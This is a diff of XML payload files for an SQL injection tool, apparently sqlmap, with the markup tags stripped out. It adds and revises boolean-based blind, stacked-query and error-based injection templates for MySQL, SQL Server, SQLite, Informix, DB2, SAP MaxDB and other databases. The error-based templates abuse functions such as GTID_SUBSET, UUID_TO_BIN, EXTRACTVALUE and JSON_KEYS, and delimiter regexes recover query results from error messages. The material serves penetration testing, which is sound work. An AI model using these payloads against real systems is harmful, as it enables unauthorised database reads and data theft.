- MySQL < 5.0 boolean-based blind - Parameter replace + SQLite AND boolean-based blind - WHERE or HAVING clause (JSON) 1 2 1 - 1,2,3 - 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + 1 + 1 + AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
- MySQL - < 5.0 + SQLite
- MySQL < 5.0 boolean-based blind - Parameter replace (original value) + SQLite OR boolean-based blind - WHERE or HAVING clause (JSON) 1 3 + 3 + 1 + 2 + OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+ + + + + + + Boolean-based blind - Parameter replace (original value) + 1 + 1 1 1,2,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) -
- MySQL - < 5.0 -
@@ -714,17 +853,16 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase - Windows
@@ -735,17 +873,16 @@ Tag: 1 1,3 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase - Windows
@@ -787,6 +924,44 @@ Tag:
+ + Informix boolean-based blind - Parameter replace + 1 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) + +
+ Informix +
+ + + + Informix boolean-based blind - Parameter replace (original value) + 1 + 4 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) + +
+ Informix +
+ + Microsoft Access boolean-based blind - Parameter replace 1 @@ -825,123 +1000,112 @@ Tag: + - SAP MaxDB boolean-based blind - Parameter replace + Boolean-based blind - Parameter replace (DUAL) 1 - 3 + 2 1 - 1,3 + 1,2,3 3 - (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) + (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) - (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) - (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) -
- SAP MaxDB -
- SAP MaxDB boolean-based blind - Parameter replace (original value) + Boolean-based blind - Parameter replace (DUAL - original value) 1 - 4 + 3 1 - 1,3 + 1,2,3 3 - (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) - (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) - (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) -
- SAP MaxDB -
- + - MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause + Boolean-based blind - Parameter replace (CASE) 1 2 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) -
- MySQL - >= 5.0 -
- MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + Boolean-based blind - Parameter replace (CASE - original value) 1 3 1 - 2,3 - 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) -
- MySQL - >= 5.0 -
+ + - MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause 1 - 3 + 2 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL - < 5.0 + >= 5.0
- MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) + MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 - 4 + 3 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL - < 5.0 + >= 5.0
@@ -1016,17 +1180,16 @@ Tag: 1 3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase - Windows
@@ -1037,17 +1200,16 @@ Tag: 1 3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase - Windows
@@ -1164,48 +1326,82 @@ Tag: SAP MaxDB - - - MySQL >= 5.0 boolean-based blind - Stacked queries + IBM DB2 boolean-based blind - ORDER BY clause 1 4 1 - 0 + 3 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) - # + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END) + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
- MySQL - >= 5.0 + IBM DB2
- MySQL < 5.0 boolean-based blind - Stacked queries + IBM DB2 boolean-based blind - ORDER BY clause (original value) 1 5 1 - 0 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+ + + + + HAVING boolean-based blind - WHERE, GROUP BY clause + 1 + 3 + 1 + 1,2 + 1 + HAVING [INFERENCE] + + HAVING [RANDNUM]=[RANDNUM] + + + HAVING [RANDNUM]=[RANDNUM1] + + + + + + + MySQL >= 5.0 boolean-based blind - Stacked queries + 1 + 4 + 1 + 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) # - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
MySQL - < 5.0 + >= 5.0
@@ -1214,7 +1410,7 @@ Tag: 1 3 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) @@ -1235,7 +1431,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 @@ -1255,7 +1451,7 @@ Tag: 1 3 1 - 0 + 1-8 1 ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] @@ -1268,7 +1464,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1277,20 +1472,19 @@ Tag: 1 4 1 - 0 + 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) -- - ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END) + ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
Microsoft SQL Server Sybase - Windows
@@ -1299,7 +1493,7 @@ Tag: 1 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL @@ -1319,7 +1513,7 @@ Tag: 1 5 1 - 0 + 1-8 1 ;IIF([INFERENCE],1,1/0) @@ -1339,15 +1533,15 @@ Tag: 1 5 1 - 0 + 1-8 1 - ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL -- - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
SAP MaxDB diff --git a/xml/payloads/02_error_based.xml b/data/xml/payloads/error_based.xml similarity index 58% rename from xml/payloads/02_error_based.xml rename to data/xml/payloads/error_based.xml index 7c4b54c5cc1..a1f9c7c7db2 100644 --- a/xml/payloads/02_error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -2,61 +2,94 @@ + - MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) 2 - 1 + 2 1 - 1,2,3 + 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.0 + >= 5.6
- MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) 2 - 1 + 2 3 - 1,2,3 - + 1,8,9 1 - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.0 + >= 5.6 +
+ + + + + MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 8.0 +
+ + + + MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN) + 2 + 5 + 3 + 1,8,9 + 1 + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 8.0
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 2 + 1 1 - 1,2,3 + 1,2,3,8,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -78,9 +111,9 @@ MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 2 + 1 3 - 1,2,3 + 1,2,3,8,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) @@ -101,51 +134,51 @@ - MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 - 3 + 4 1 - 1,2,3 + 1,2,3,8,9 1 - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.5
- MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 - 3 + 4 3 - 1,2,3 - + 1,8,9 1 - OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.5
@@ -154,7 +187,7 @@ 2 4 1 - 1,2,3 + 1,2,3,8,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -170,11 +203,11 @@ - MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP) + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) 2 4 3 - 1 + 1,8,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) @@ -190,60 +223,170 @@ - MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) + MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + + MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS) + 2 + 5 + 3 + 1,8,9 + 1 + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
